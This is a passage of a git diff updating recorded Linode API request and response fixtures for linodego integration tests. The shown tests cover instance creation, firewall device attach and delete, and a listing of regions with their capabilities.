'{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-1vpd65q00t5h","root_pass":"8BBMaHktv+*!6d^D7P1H7q8+|#\\3Mc9wjm7S\u0026Sdsx={3w36RO4C3C3G|*#j4j,~P","image":"linode/debian9","booted":false}' form: {} headers: Accept: @@ -239,15 +329,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 49708342, "label": "go-test-ins-215ggi3ie4s5", "group": "", "status": + body: '{"id": 60622699, "label": "go-test-ins-1vpd65q00t5h", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.4.232"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["45.79.117.65"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "da6015ef4054692cf89857eb70184aa148287a2c", "has_user_data": false}' + "b2853810c42e1d24c19bb72c445d06050f5237d1", "has_user_data": false, "placement_group": + null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" @@ -260,15 +351,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "741" + - "788" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:26 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -302,13 +397,14 @@ interactions: url: https://api.linode.com/v4beta/networking/firewalls method: POST response: - body: '{"id": 228231, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", + body: '{"id": 600032, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' + "outbound_policy": "ACCEPT", "version": 1, "fingerprint": "7bcc0f03"}, "tags": + ["testing"], "entities": []}' headers: Access-Control-Allow-Credentials: - "true" @@ -321,15 +417,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "526" + - "583" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:26 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -344,14 +444,14 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"id":49708342,"type":"linode"}' + body: '{"id":60622699,"type":"linode"}' form: {} headers: Accept: @@ -360,12 +460,12 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228231/devices + url: https://api.linode.com/v4beta/networking/firewalls/600032/devices method: POST response: - body: '{"id": 485841, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "entity": {"id": 49708342, "type": "linode", "label": "go-test-ins-215ggi3ie4s5", - "url": "/v4/linode/instances/49708342"}}' + body: '{"id": 1297446, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "entity": {"id": 60622699, "type": "linode", "label": "go-test-ins-1vpd65q00t5h", + "url": "/v4/linode/instances/60622699"}}' headers: Access-Control-Allow-Credentials: - "true" @@ -378,15 +478,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "205" + - "206" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:26 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -401,7 +505,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -417,7 +521,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228231/devices/485841 + url: https://api.linode.com/v4beta/networking/firewalls/600032/devices/1297446 method: DELETE response: body: '{}' @@ -433,15 +537,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:27 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -456,7 +564,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -472,7 +580,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228231/devices/485841 + url: https://api.linode.com/v4beta/networking/firewalls/600032/devices/1297446 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' @@ -484,13 +592,17 @@ interactions: Access-Control-Allow-Origin: - '*' Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "37" Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:27 GMT + Pragma: + - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: @@ -500,7 +612,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" status: 404 Not Found code: 404 duration: "" @@ -514,7 +626,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228231 + url: https://api.linode.com/v4beta/networking/firewalls/600032 method: DELETE response: body: '{}' @@ -530,15 +642,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:27 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -553,7 +669,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -569,7 +685,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/49708342 + url: https://api.linode.com/v4beta/linode/instances/60622699 method: DELETE response: body: '{}' @@ -585,15 +701,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Tue, 25 Jun 2024 14:30:27 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -608,7 +728,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestFirewallDevice_Get.yaml b/test/integration/fixtures/TestFirewallDevice_Get.yaml index 7fc12a369..6af2438c4 100644 --- a/test/integration/fixtures/TestFirewallDevice_Get.yaml +++ b/test/integration/fixtures/TestFirewallDevice_Get.yaml @@ -15,176 +15,262 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": + "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, + 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": + {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", 